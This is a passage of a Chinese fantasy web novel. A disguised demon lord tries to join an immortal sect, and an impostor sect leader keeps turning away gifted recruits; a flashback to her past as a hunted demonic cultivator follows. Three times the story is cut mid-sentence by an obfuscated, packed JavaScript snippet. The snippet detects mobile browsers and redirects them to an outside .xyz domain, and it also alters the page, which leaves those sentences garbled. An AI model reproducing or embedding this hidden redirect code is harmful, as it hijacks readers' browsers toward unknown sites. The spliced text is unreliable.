“不必。”南宫明渡轻抬食指,“区区小事,让他们打去吧。萧见雪嚣张过头,是该来个人削削他的锐气。” 睡过一日,第二天一早,所有凡人由仙门弟子领着,重新再登主峰。 主峰料峭,还有障目的阵法,没有无归门的人引路,凡人找不到所在。 司空风送南宫明渡到山脚,目送南宫明渡跟随仙门弟子登山,所有凡人之中,只有他最闪闪发光,气质卓然……又嚣张。 嚣张不是错,错的是魔城之中,没有人可以比魔尊更嚣张。 司空风默默道。 4. 第 4 章 乌龟峰。 蜿蜒曲折的上山之道,夹在白雪之中唯一被清扫干净的一条小径,前前后后站满了即将前往试炼峰的报名弟子。时间已快初春,寒雪仍然未化,只是浅了不少,遮住了大多数人前行的步伐,再加上山林之中山石树木掩映,只露出来头面。 光看头面,都能够看出来一股昂扬之气。 “武长老,这下你该放心了吧。” 武镇渊看着山道摸了一把胡子,语气感慨又敬佩,“门主高瞻远瞩,实在是我担心有余。” “那是自然,”江兴运道,“门主何等人物,她不让招徒,分明是知道凡人庸庸碌碌,追名逐利,其他宗门用这种手段唬人进门,招来的就算是有些天赋,品行也难料好坏。反而陆扇在外面扶济世人,来的更多是天底下仰慕无归门正道作风的义士。门主原话,无缘不必强求。” 武镇员低头喃喃:“无缘不必强求……” 片刻,抬起头恍然,捋着胡子又道一声,“无缘不必强求……” 小半个时辰之后,由三位无归门的弟子引着,众人都到了坞谭外。 坞谭之外有一片空地,那里面能容留至少三百人有条有理站满,山门试炼每次只有100人,为了保证天南地北,腿脚快慢不一的凡人都能够有机会参加试炼,试炼并不只开一场。 提前登记在册的报名者,优先安排场次进行试炼。 后面来的人,当然也能够报名,反正两个月之内,所有宗门都干这个事——往往有一些被其他宗门拒收的凡人,会立马跑到其他宗门的地盘,尝试有没有可能被其他门派的仙师选中。 但按照这个时间,其实最多只能够进入两个宗门进行试炼,来回需要时间,试炼也需要时间,拿捏时间,也防止有些人心性不定,每个宗门都试一遍,浪费宗门安排的功夫。 一名弟子宣读完参加宗门试炼种种要注意的点,运气扬声,问所有人是否听得明白。 那声音仿佛就在耳边,令凡人莫不肃然。 众人都答,“听明白了。” “好,”那名弟子转身往坞谭边走,“此潭名为坞谭,水中蕴含灵气,你们喝了,强身健体,每个人领个竹杯,依次上前来喝。” 那弟子掬一瓢水,另外有一名弟子,带着一个竹篓子,里面装着形状相似的竹杯,小小一只,常人单手就能够握住,一口饮下去,也不到解渴的量。那一瓢水,整整倒了一百个人,正正好,不多也不少。 “你为何不喝?” 站在队伍最边上的那名弟子站了出来,指着一名穿着青衣,头戴白冠,脚踏锦靴,身前金丝银线,云纹织锦闪闪发光的男子。 南宫明渡将刚刚倒空的竹杯用袖子遮住,“我身体好,不需要喝。” “武长老开恩,给你们这些凡人灵池之水,防止你们进入主峰之后体寒,回去落下病根。”那弟子冷笑道,“你这凡人不领情,那就随意。放心,你这样的在人间叫人高看一眼,在我们仙门,什么都不是。” 他此言,戳穿那凡人奸诈算计,自认为有权有势,担心害怕别人对他下黑手。 “仙长误会,”南宫明渡道,“我并没有揣度仙人的意思,只是从小我身子骨就好,反而不能够乱吃乱喝,影响身体里面运行之气。” 那弟子嘴巴一撇,脸上更是气郁,“我仙门灵水,你竟然说是乱吃乱喝……” 就在此刻,突然一阵香气弥散,乌龟峰上白雪深覆之处,飘飘然有花瓣竹叶,不多不少,刚刚随着一道灵气四溢,无形的漩涡之中,翩然跟着一白衣女子下坠。 “是门主!” 武镇源一声惊呼,所有弟子,前来登记试炼的凡人纷纷反应过来。 弟子先拜,凡人依样画葫芦,跟着一起躬身请礼。 花无咎落下在空地的正中间。 这一招她练了上百遍,从袖子的弧度,衣摆的长度,下降的速度,每一处都是她精心设计,表面上,她面无波澜云淡风轻,背地里—— 第一次这么牛气,怎么可能不紧张! 许多人都在看她,花无咎收袖负手,佯作浑不在意,目光搜索,找到江兴运所在。 “这就是今年来试炼的弟子吗?” “正是。”江兴运上前一步,抬袖子指了一下在坞潭之前整齐站着的凡人,“第一轮试炼已过,这些人都是被筛选之后留下来的人。” 来之前,花无咎认真研究了一下无归门的收徒流程。 首先,无归门并不拘这个凡人是否曾经修炼,但是有一点,他们不收三十六宗出来的人,也不收任何被逐出宗门的叛徒。 仙门说是三十六宗,其实只是数得上名字,彼此之间每次有一点什么事,互相看得起,愿意通知过去商量的宗门数量。其他小宗门,没有人去统计,也有一些散修,喜欢天南地北找一些凡人,传授一些功法,点拨人家修行。 这些人,不在其列。 但修行过的凡人,始终是少数。 如果直接开设擂台打架,就对那些从来没有修行过的凡人很不公平。 所以试炼一共有两重,第一重,教授所有人初阶的门派心法、剑法、入门的飞行之术,在七天之后,只允许使用教授的功法公平进行比试,这场比试虽然有胜负,排轮次,但是基本上,能够领悟心法的凡人,都不会被直接筛选出去。 可这一轮,筛除的人却又最多。 天赋、根骨,这种东西是天生的。有就是有,没有就是没有。 第二重试炼,则是进入侧峰,侧峰之中提前设置下阵法,布置障碍关卡。 筛选出来能够通关的凡人,尤其是在其中表现优异,能够获得长老、堂主赏识,甚至可以跳过当外门弟子这一环,直接入住主峰。 “不错。”花无咎一个个人扫过去,状似她看得随意,不时点头。 终于,她目光落在一个穿着华丽的青年身上。 花无咎定住眼睛,视线下移,看见那男子身边带着一柄剑,剑鞘上缀有宝石,并排连成七星的形状,剑柄拴着流苏,在微风之中轻动。 就是他。 展信霖。 江兴运倾力推荐,说此人根骨奇佳,有史以来第一次,有人能够在七天之内不仅学会了剑术、身法,还通透了飞行之术。 “门主,这个好苗子,只能够您来调教。真是千载难逢,叫我无归门捡到这样的璞玉。” ——江兴运的原话。 “你上前来。” 南宫明渡骤然被点,四周的人都纷纷看他。 “不错,就是你。”花无咎冲他颔首。 众人羡慕嫉妒,简直要从脸上溢出来。 本来以为他只是被江兴运看中,没有想到,这一次连无归门的门主都亲自要来见他。 无归门门主白映青毕生只收过三个弟子,难不成,他还能够当下一个亲传弟子? “你叫什么名字?” 初次见面,装,还是应该装一下。 “回禀仙长,在下展信霖。”南宫明渡颔首。 好嚣张! 面对仙长,竟然敢把背挺得这么直,竟然好像自己不是来拜师学艺,竟然见了无归门门主这样高深的功法,一点没有惧惶。 众人盯着南宫明渡的背,个个眼神着火。 “你为何要……穿成这样?”花无咎斟酌了一下,视线上下扫着南宫明渡,“仿佛你不是来试炼,反而像要去什么庆典,赴宴哪家的酒席。” 本来已经很安静的场景,再安静了两分。 众人都看南宫明渡,或是艳羡,或是幸灾乐祸,都等他答。 南宫明渡道:“来仙门的凡人众多,我穿成这样,才好叫仙长一眼看见。” “好 !”江兴运在旁边抚掌,两眼发光,“有几分胆识。英雄少年啊。” 骚包。 花无咎默默腹诽。 这种人,心中有锐气,天分又好,如果让他加入无归门,后果不堪设想。幸好她提前下山,没有等到他进山门试炼的那一步—— 要是真的叫他再展露本事,操作起来更不方便。 “我无归门虽然不说修清心寡欲,但你也看见了,我门中弟子,不喜奢贵。山门之中的饮食,也不像人间那样你想要什么就有什么。清苦的日子,我觉得不适合你。” 众人目瞪口呆。 这意思……竟然像是要赶人走。 南宫明渡几不可闻皱了一下眉头,很快道:“在下虽然在人间这副做派,但进了贵派,便肯定遵守门规,是什么就是什么,不会擅自给自己开例外,身上有什么习惯,仙长觉得不好,在下也愿意一一都改。” 好一个油头! 打的是进了门再说的主意! 众人再瞪他瞪得眼珠子冒火。 “不必。”花无咎赶紧道,“我无归门修的是道法天成,你性非如此,何必装作如此?现在压抑你本性,等你有一些本事,这些本性还是会冒出来。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219371|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要你看在我的面子上,做这些不必要的事。再则,说难听一些,我无归门从来不喜欢你这样的人,进来一个,扰乱宗门的氛围,对其他弟子的修行也不好 。” “只是装束奢华,在下不知为何,这样算扰乱宗门。” “外相见心,你心如何,表象便如何。你想要压众人一头,可我无归门讲究共同进退,你进来,耽误你,也耽误别人。再则,我无归门的规矩在三十六宗之中最多,你来错地方。” 幸好来之前看了无归门的门规,不至于没有话可以编——这小子巧舌如簧,不能够让他再跟自己顶嘴了。花无咎严肃道:“我意已决,不必多言。” 众人哗然。 白映青——不愧是无归门门主! 果然高洁,果然不像其他门派一样,差别对待,前来问道的凡人有天分的视若珍宝,没有天分的当颗鼻屎,只管扣出来,不管养活,看了不爽就掸飞。 江兴运心头一急,也顾不得有外人在场,凑到花无咎耳边道:“门主,此子天纵英才,有一些小瑕疵又怎么了,放进门内,好好调教便是。错过这一个,一百年都不知道能不能够再等到下一个!” 这就对了。 “你走吧。”花无咎摆了摆手,摆完手,看见那青年离开的背影,又觉得哪里不对。 “等等。” 南宫明渡停住脚。 “我无归门不适合你,但我看,穹华派很适合你,不埋没你天资。趁着现在收徒大典还没有结束,你还可以再去那边。晚了,就来不及了。切记切记。” “门主!”江兴运猛跺一脚,心中焦急,甚至想要直接将人给截回来。 无奈白映青不为所动,就这么安排吩咐完,转身往主峰更高处行去。 他追白映青也不是,追展信霖也不是,旁边还有弟子唯唯诺诺上来问,“江长老,还要继续试炼吗?” “继续,继续!”江兴运一甩袖子,交代完这一句,怨气满满纵身离开。 身后,武镇渊提气追他而去。 门主不收徒弟就算了,怎么还把人往穹华派引。 简直是…… 简直是…… 简直是太高洁无私了。 江兴运气滞,差点从半空中翻下去。身后武镇渊掌住他的手,将他扶正。 “门主做事,自有她的谋算。从来门主都棋高一着,江长老,这次你是人在局中,看不清楚。” 江兴运忍住翻白眼的冲动,“那你看清楚什么了?” “正如门主所说,无缘不必强求。此子进门,是福是祸,犹未可知。” “……” 忍住忍住。 没有忍住。 江兴运一巴掌拍开武镇渊的手,“滚开!” 提气,他飞得更快。 *** 彩玉镇,彩玉客栈。 二楼房间,南宫明渡坐在桌前,眯着眼睛喝茶。 魔尊虽然不言不语,身上也没有释放威压,但是根据司空风这么多年的经验,他现在,心情非常不好。 不好到了一种极致。 司空风尽量缩小自己的存在。 魔尊坐在桌前,他就专门躲在屏风后面,争取不要让魔尊一抬眼就看见自己。 “这么久了,衣服换好了吗?” 南宫明渡看见屏风后面一个人影本来在动,他一说话,人影马上僵硬住,伸出来头。 “尊上,您有什么吩咐?” “本座今日上山试炼,白映青亲自来见我。” 懂了,这是要拍他马屁。 司空风倾慕道:“尊上出马,自然叫白映青刮目相看。” “她将我逐下了山。” “……” 司空风想要咬自己舌头。 “她说,本座这身装扮,她看了不喜欢。” “呔!那些仙门不长见识,分辨不出来好坏。您这宝石,可是萧见雪亲自去南海珍市寻的,天底下别处哪儿找这样的好货。您穿的衣裳,一尺布都价值百金,袖口封边,上看下看,哪儿都冒光。” “她就是说本座穿得太贵。” “……” 司空风觉得自己完全闭嘴比较好。 喀嚓—— 座中男子五指收紧,霎时茶杯碎成齑粉。 司空风头皮发麻。 “你说,白映青是真的不悦我这样打扮,还是她看出来本座身份,这才鸡蛋里挑骨头?” 5. 第 5 章 花无咎拔掉了一个最好的苗子,暂时不再动作。 本来,她的计划是观察试炼全程,专门拔掉那些看起来有天资的后生晚辈。 但是江兴运的反应,让她觉得有的事情不能够做得太明显,引火上身。 不过…… 不过在看见第二个绝佳的修炼苗子之后,她忍不住又出手了。 无归门半月之后,又一次门派试炼,新登记来的凡人之中,有一个叫曹箭的,样貌堂堂,浑身上下都是正气,穿着朴素,资质过人,第一轮试炼,她没有去,叫这个人逃脱。 第二轮试炼,斩魔峰中白璧岩,那凡人只用门派分发下去最低等的长剑,竟然能够一剑杀死幻术中最强悍的妖兽——天竺兽。 天竺兽头上左右各一枚黑边红心的犄角,两颗长而尖锐的獠牙露在口唇之外,张嘴之时一声怒号,森然叫人害怕,寻常人见了,只会将重心放在獠牙之上,殊不知天竺兽犄角才是真正的命脉。 犄角之中能够发射毒气,还能够胀大到原身的数十倍,不仅难缠,而且叫人防不胜防。 可此人心思敏锐,一言就看出来天竺兽命脉,一剑斩了犄角,又取天竺兽獠牙。 “此子不仅根骨奇佳,且为人沉稳,不像同龄同辈少年,毛毛躁躁,加以培养假以时日,必然又是下一个陆扇——不,就连陆扇,恐怕也不敌他的资质。” ——江兴运是这么跑过来说的。 年纪轻轻就有这样的胆识和沉着,比之前来的那个骚包,危害还要大! 此人已经通过第二轮试炼,现在正等着分配师父——江兴运给她推荐,她不能无动于衷。 花无咎冥思苦想,一日之后,将江兴运叫回来房间。 “我想过了,你说那个曹箭的年轻人,我要去见一见。只是我多年没有收徒,悉心再教导一人,对他要求更高,我要再加一重试炼。” 江兴运转头去办。 花无咎无法催动白映青的修为,更不懂无归门试炼之阵如何运转,别提在里面给他下绊子。她吩咐江兴运单独将人叫过来,单独会面—— 这样,没有任何人知道她试了他什么。 无归门有一个灵圃,名叫百草圃,里面分门别类,高低错落的栽种着各类草药。花无咎跑过去随便采了一点苗圃外面杂草,能够伴生仙草的杂草,肯定不会吃死人,叫她留下把柄,但更不会有什么大的灵气,反而助那小子修为增长。 花无咎将草药碾碎,汁液倒进水中,搅拌均匀。 按照约定好的时间,江兴运带来了那个叫曹箭的人。 房门紧闭,幸好无归门地势高峻,天光透亮,从窗户两边打过来的光,将整个屋子照得亮亮堂堂。 曹箭比她想象之中…… 长的还要名门正派。 那鼻子,那眼睛,那嘴巴,简直幻视当年在人间追着她打的无归门走狗! 此人身高八尺,身上简简单单短打,精气十足,剑眉入鬓,肩宽腰窄,一走进门内,就让人感觉到…… 恶心想吐! 花无咎按捺下心中波澜,正正经经道:“你就是曹箭?” 曹箭顿了顿,躬身道:“回禀门主,正是。” “江兴运可有跟你说,今天我叫你来是做什么?” “江仙长说过。门主想要再加试炼,考察我是否适合当门主徒弟。” “嗯。”花无咎不咸不淡点了点头,一抬手,指了指自己对面的椅子,“坐。” 曹箭走过来,坐下。 花无咎一手收着袖子,一手又指桌上那一杯茶,“喝。” 茶水准备得太早,现在已经……稍稍有一股馊味。绿中带黄,黄中带着一些细小的碎渣,曹箭抿了抿唇,抬头看花无咎。 看什么看?! 再看,把你眼睛挖出来。 花无咎淡淡道:“喝吧。喝不——这就是给你的试炼。” *** 彩玉镇,彩玉客栈。 司空风非常后悔。 非常非常后悔。 早知道当初,他就不要那天早晨起那么早,跑到魔宫之中去处理公务,以至于被魔尊第一个看见,点名陪同外出。 他想要扇自己一个巴掌。 叫你好功劳,叫你好表现。 房间安静了已经有半个时辰,魔尊就坐在入门位置正对着的小桌边上,那里刚好视线不佳,窗户外面的光透进来,拦在了最外面一张木凳之前。 他一个人藏在阴影之中,脸色发沉发暗。 已经很多年,司空风觉得自己没有看到过魔尊这样生气。 上一次魔尊被白映青赶下山,他出谋划策,说白映青是正道里面赫赫有名讲规矩的女人,即使在仙门之中,许多人听见她都头大。 她眼睛里面容不下沙子,这一点很多人都知道。无归门又是仙门三十六宗之中相对低调的一宗,听说今年连遣行师都没有派,这个宗门,上上下下都没有眼力见,不识好坏。 听到他这么说,魔尊心情才稍稍变好。 他提议魔尊再换一副面孔,重新登记试炼。 这一次,魔尊打扮朴素,相貌特别正派,他那时对魔尊说—— “要不是您执意要进无归门,只怕穹华派和曲剑宗的人见了您,为了收您为徒,要争个头破血流。” 可是魔尊落选了。 马上就要到饭点。 他到底要不要去问魔尊,吃不吃饭呢? 如果魔尊正气着,可能会给他一巴掌。 如果魔尊不饿,可能还是会给他一巴掌。 如果他不问,魔尊饿了,回过头想起来,又可能给他一巴掌。 司空风心里瓦凉瓦凉,没有等到他思考好用什么方式迎接这一巴掌,魔尊开口了。 “白映青叫本座喝了她密调的仙茶。” 司空风耳朵一竖,本来懒丧着依靠在窗户边,一下子站直,表现出一副恭敬在听的模样。 “仙茶里面有灵气,本座喝了身上不适,不过本座忍了。” 司空风想要搭话,马上话要出来,他咬了一下嘴唇。 不要冲动。 南宫明渡斜睨了一眼在窗边手脚不灵“花枝乱颤”的司空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219372|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风。 “怎么不说话?” 司空风赶紧道:“属下不知尊上允不允许属下插嘴,故而属下不敢插嘴。” 南宫明渡嗤了一声,“出息。” 眸色一深,他转回头去,又道,“你说,白映青是不是看出来,本座修的是魔道,特意拿茶来试我?” 司空风左思右想,斟酌之后,答:“或有可能。” 他不是说,也不说不是,这样就抓不住小辫子。 可南宫明渡并没有再看他一眼,自顾自在说:“本座明明没有表现出来丝毫异样,她却说我没有通过她的试炼,我问她其中缘由,她只淡淡看我,那眼中满是厌恶。” 司空风道:“这白映青,真是不识好歹!” “不,一次是巧合,两次,难道也是巧合吗?”南宫明渡皱着眉头,手中把玩着茶杯,“本座在所有报名的凡人之中,分明表现最佳,她却非要将我剔出去。无归门门主,果真不容小觑。” 司空风本来接着想要骂白映青,但是既然魔尊夸了她,他再说不好的,就显得魔尊眼神不好了,思索片刻,司空风道:“尊上,其实属下觉得……” 南宫明渡侧首,“觉得什么?” 被南宫明渡的眼睛一瞥,司空风血液都要凝滞了,但话已经开口,只能够硬着头皮说下去—— “其实属下觉得,您分明都已经过了第二重试炼,马上就到分配师门的阶段,白映青横插一脚要将您除掉,可能只是临时起意。也许,是因为您第二重试炼之时,做了什么令她不悦,但是无归门的门规如此,您是胜试之人,她不能够直接在这个上面做文章,所以才将您叫过去,假称有第三重试炼。” “属下听说,当年她收手底下那几个徒弟,可没有过这种事情。而且尊上您上山试炼这几天,属下顺便去打探了一下……” 南宫明渡:“打探到什么?” 司空风:“属下打探到,白映青心慈手软,收人其实并没有那么看重天分,她手底下有一个徒弟,乃是她的三弟子,当年只是一个筋脉尽断的凡人,身上落下隐疾,没有仙门愿意收下,只有她,看他可怜,非要收作亲传。” “你的意思是,本座在试炼之中,不顾其他人死活,争强好胜,令她不喜?” 司空风心头一跳。 “属下不敢!” “你说这话,不就是这个意思吗?”南宫明渡不咸不淡瞪了司空风一眼,“尽管说,本座恕你无罪。若你分析得当,献计有用,免你之前罪过。” 魔城风花雪月四大护法,司空风的修为最弱。 可此人擅于揣度人心,出门在外带着,比其他三个都好使。 南宫明渡慢慢倒着茶,慢慢品啄,等司空风在那里愁眉苦脸好一阵,终于又听到他开口。 “尊上,属下还有一计!” 南宫明渡放下茶杯,只见司空风红光满面跑过来,低声耳语。 “你确定,这计有用?”南宫明渡满脸嫌恶,连茶都喝不进去了。 “尊上,事到如今没有办法,白映青吃软不吃硬,只能您屈尊降贵一回了。” 6. 第 6 章 得知第二个好苗子也被白映青赶走,江兴运没有忍住,找武镇渊商量对策。 “门主现在收人,各个方面都很挑剔,本来我的想法是,门主亲自调教更容易成才。譬如庞英桥那小子,本来只是个筋脉尽断的凡人,天资也不过中等,但门主手把手教他,这么多年过去,可以说是脱胎换骨。” 武镇渊点头:“门主收徒教授,确实悉心尽力,且她修为高深,好苗子到她手里,比你我来教恐怕更上一层。” “门主将两个最有天资的人踢走,这件事反而成我考虑不周,”江兴运叹一口气,按着下巴,“若是当初没有将这件事情禀告门主,我们悄悄将收徒的事情办完,这些人虽然不能拜入门主门下,但是至少也还是我无归门弟子,肥水不流外人田,没叫其他宗门占这个便宜。” 武镇渊重重点头。 少有的情况,他觉得江兴运完全有理。 “所以我来找你商量,之后收徒的事情,你我都不要再禀告门主,她想不起来这件事,自然就不会主动插手来筛查弟子。” 按照道理,所有收入门下的弟子,每一轮都要经过门主过眼—— 即使门主不认识他们,也要让他们认识无归门真正话事的人是谁,今后往来之间,不至于失礼冒犯。 “这……”武镇渊稍有迟疑。 不禀告门主,以后门主怪罪,那他就要跟江兴运一起担责。收徒一事,江兴运主要在办,他是门中长老,顺便要来收徒罢了。 “武长老,此事事关我无归门兴旺,你我之间虽然有一些小小的……摩擦,我给你赔礼道歉,这一回,我希望你跟我一条船上,大局为重。” 不知道为什么,赶走了第二个人之后,花无咎经常能够发现武镇渊和江兴运在门派之中,冷不丁就看着她。 尤其是武镇渊,经常过来她修炼打坐的地方,跟她禀告一些关于无归门在凡间产业的经营情况。 彩玉镇是无归门的地盘,但无归门不止彩玉镇一个地盘。 从彩玉镇往西南走,每座重要的城镇几乎都有无归门的产业,什么玉器店,草药铺,打铁铺,每家铺子都是无归门的外门弟子在看管。 这些铺子有两个目的,一是作为无归门虽然是仙门,但是门内很多饮食、住行,耗费的材料,还是要从凡间来,经营产业,可以丰富宗门的收入。 第二,每间铺子都有轮换弟子看管,昼夜不休,主要是为了守护一方平安,每每这座城中发生什么大事,譬如妖邪出没,立刻就能够传回门中。 怪不得她当年在人间,总是被无归门的人找到。 原来无归门在人间有这么多的耳目。 武镇渊要她拿主意,这一回要轮替什么弟子过去,这间铺子从年头到年尾的收益如何,经营得不好的,要不要换个营生,免得叫人看出来端倪—— 明明一点生意没有,还一直开在那里,时间久了自然惹人奇怪。 再则,虽然无归门的目的是在这些地方埋下眼线,但也不能够完全做赔本生意。 花无咎对这些东西一窍不通,就算有的东西说得上来,也不敢说——说了之后,万一你一句我一句聊起来,接不上话也麻烦。 她于是安静在听,不插嘴,不打断。 武镇渊不知道话为什么这么多,从早上过来,能够聊到黄昏落日。 终于有一天,花无咎没有忍住,说:“这些小事,不需要再跟我报,你自己拿主意吧。” 收徒大典已经快到尾声,花无咎将江兴运叫过来。 “最近还有没有什么,突出一点的苗子?” 江兴运摇头:“没有。” 花无咎:“真的没有?” 江兴运:“一个都没有。” 江兴运说如果她想要把那两个被赶走的凡人找回来,他可以试着帮她办这件事。花无咎当然满口回绝。武镇渊不拿宗门产业的事情烦她了,又开始跟她讲门内上下,各峰的收支开销,弟子的练功情况,堵着她在房间哪里都去不了。 这些东西武镇渊这么在意,可能是白映青以前都需要了解的。 如果全都不听,也容易被人看出端倪。 花无咎无奈,没有赶他走。 她只能够一日起得比一日早,趁着武镇渊还没有来找她,溜达到无归门其他地方放风。 天光初亮,门派里面许多弟子起得更早,这会儿都已经练完剑,陆陆续续从修习堂往山下走。 每座峰中都设有修习堂,每日早晨都要去登记,证明今日没有惫怠。围绕修习堂四面,是专门给弟子设置的练桩、练马步、练身法的空地,每日练的不同,东西南北四个面去的地方便不同。 无归门的弟子喜着白衣,衣襟的位置颜色不同,蓝色衣襟则是内门弟子,浅黄色衣襟则是外门弟子,除了普通弟子之外,像长老,白映青的亲传弟子,以及门中一些已经可以独当一面,独自有居所的弟子,则不需要遵守这一套规定。 一群穿着白衣的弟子穿梭在朦胧云雾之中。 鬼魅一样。 花无咎乍然一看,还吓了一跳。 突然之间,这群鬼魅纷纷停在了一块岩石附近。她正走到修习堂附近,马上就有两个弟子又跑了回来,一边跑一边提气,跑得太快,冷不丁看见她在,差点半空之中翻了个跟斗。 一个弟子停下来,慌慌张张跟花无咎请礼。 花无咎点了点头。 另一个弟子也停下来,两眼一亮,“门主,竟然门主在这里!” 花无咎心头一跳。 不知道为什么,感觉不会是什么好事。 那弟子道:“山下来了一个凡人,不知道怎么闯进阵中,浑身流血,看样子是快要死了!” 凡人死不死,关她什么事。 花无咎扭头就想要走——但,马上她停住脚。 白映青好管闲事。 “还不快快救人!” *** 花无咎很后悔。 如果她那一天早上没有下山,没有走那一条道,没有刚好撞上那几个弟子,这件事就不可能摊在她头上。 千不该万不该,那个不长眼睛闯阵受伤的凡人,他天资聪颖。 天资聪颖。 花无咎重重拍了一下桌。 无归门走的狗屎运,一二再再三,要坏她好事。 这凡人名叫严子玉,说自己所在的村子惨遭魔修劫掠,他藏在井里面侥幸逃脱,他听说无归门招徒弟,千里跋涉来到这里,但昏头昏脑没有找到地方,误闯了阵法。 他这么说:“我想练得本事,诛杀魔修,报我一族血海深仇,求仙长成全。” 江兴运说:“现在正值我门收徒大典,你养好伤后,可以考虑要不要参加试炼。”顿了顿,他又道,“并非我拦着你不让你入门,只是修行一道艰苦,你没有天资,无论怎么练都练不出头的。” 他不仅有天资。 他还太有天资。 仅仅三天! 他就学会了御剑飞行之术! 江兴运说他是世上罕见,千年难遇的奇才,要将他收为亲传弟子。 站在议事堂,江兴运这么禀报。 花无咎按了按眉心。 江兴运要收她,她没有任何办法赶走此人,除非—— “江长老,之前你说希望我亲自收徒调教,”花无咎两眼一亮,站起来道,“不如,就将此子收入我门下吧。” 再好的苗子,不经引导,一样会变成废材。 只需要她打击他的自信,磨灭他向道之志,放任他乱修,早晚,他会废在自己手里。 那凡人睡在药堂背后的一间小屋之中,屋中燃着安魂香,这香味可以助人入眠,麻痹身上的疼痛。 这男人伤得太重,担心他睡觉时被疼醒,药堂的弟子就给他点了一支香。 现在天还亮着,但床榻之上,男人还闭着眼睛。 花无咎推开门走进去,他也没有察觉。 “严子玉……”站在床边,花无咎看着他的脸喃喃了一声。 人如其名。 玉鼻薄唇,眉目温润。 看起来相当无害。 陡然……花无咎觉得自己出走了不知道多少年的良心跑回来撞了她一下。 她这样,是不是…… 有点太过分了。 床上的男人睫羽轻动,似乎是要醒。 花无咎心上一跳,鬼使神差转过身,快步走了出去。 临走之前,她轻轻将门盖了过去。 房门关上,光线暗下去。 床上,南宫明渡睁开了眼。 他侧身看已经关上的门,唇角一勾。 *** “跟这魔道妖邪废话什么,杀了便是。” “我没有做错什么,为什么要杀我?!” “妖女,还敢还嘴!” 三把飞剑并行空中,剑影狂斩,顷刻飞向她的后背。 她狂奔到悬崖边上,心下一狠,纵身跃下。 …… “谢、谢谢……” “小娘子,你若知恩图报,就给我当个媳妇,留下来伺候我一辈子!” 她重伤未死,侥幸被一个出来砍柴的凡人捡了回去。 简陋棚屋之中,烛光影绰,昏昏沉沉照不亮眼前男人的身体,只看得清那双贪婪的眼睛,舔着的嘴唇,人影一闪,扑到她的身上。 “嗬啊——” 她起身一掌,将那老汉从身上打了下去。 那老汉在地上滚了两圈,神情惶恐,伸手去接自己口中呕出来的血。 血接不住,从他肮脏不堪的指甲缝流出来。 “你是什么人……” “对、对不起……我、我没有想杀你……”那时候,她抱着脑袋,不知所措,到这凡人身边磕头道歉。 “贱人……小贱人……” 那满脸褶子的老汉瞪圆了眼睛,呕着血骂她,“好心救你……你恩将仇报……贱人……” “贱人,你这贱人……” 他骂着,没了气息。 那是她第一次杀人。 她没有敢留在棚屋,深暗长夜,于竹林之中奔袭。 她杀人了。 她杀人了。 她杀人了。 满脑子,她只有这一个念头,不时,她停下来看自己的双手。 她现在要去哪儿,她还应该去哪儿? …… 小河边上,两男两女,团团将她围住。 “陆师兄,这妖女身上的血都还没有干呢,你却说那老汉未必是她所杀。” 白衣女修士讥讽完,拔剑出鞘。另外一青年皱了皱眉头,亦运气起掌,怒目视她。 “你滥杀无辜,竟然还敢称自己没错。魔道妖邪,满口谎言!” 几个人将她打得半死,她拽着那青年的袖子,哭着说—— “我不是想要杀他,是他要欺负我,我为什么要杀他,我何必杀他,对我有什么好处。别人可以欺负我,我就不可以还手吗?!” “妖女!又在狡辩!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219373|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一剑指她的脖子,她抱着头,大声求饶。 “我错了……你放了我吧,我以后一定改邪归正……不要杀我……求求你……不要杀我……” 那青年脸上犹豫,趁此机会,她一口咬在他的手背。 “啊——!” 手背血肉外翻,冒出来一股黑气。 她恶狠狠大笑,从怀里掏出来一个瓷瓶,“他已经中了剧毒,没有我的解药,必死无疑。你们谁敢过来,我就将解药全都吃了。一个时辰内不吃解药,他就会浑身腐烂,不得好死!” “你这妖女!我陆师兄手下留情,你就是这样报答他!” “我本来就不是什么好人,是你们自己眼瞎!” 她这样说,心中不知为何,又难受,又快意。 “仙门走狗,自诩清高,只知道欺负我这种小喽喽。魔尊在长渊城中明明白白坐着,你们怎么不去找他,喊着要替天行道?!” “强词夺理!你作恶人间,欺负手无寸铁的凡人,无归门所顾地界,本来就不是你们魔修该来的!” “你喊这地,你看它答应你吗?这路你们能够走,凭什么我就不能走?!” 抓着那昏过去的青年,忍着剧痛,她纵身而逃。 半路上,她将他扔了。 专门她选了一块大的岩石,将他脑袋放在上面,身体放在下面,不费力就能够坐靠。 喂他吃完解药,她转身离开,那青年却在这时候醒了,气息虚弱地问她,“你为何不杀我。” “因为懒得磨刀。” 她懒得再搭理,脚步不停。 “你不杀我,可我以后见了你,却不一定再饶你。” “谁知道呢,以后说不定,是我追着你打,你落荒而逃。”她定住脚,嗤笑一声。 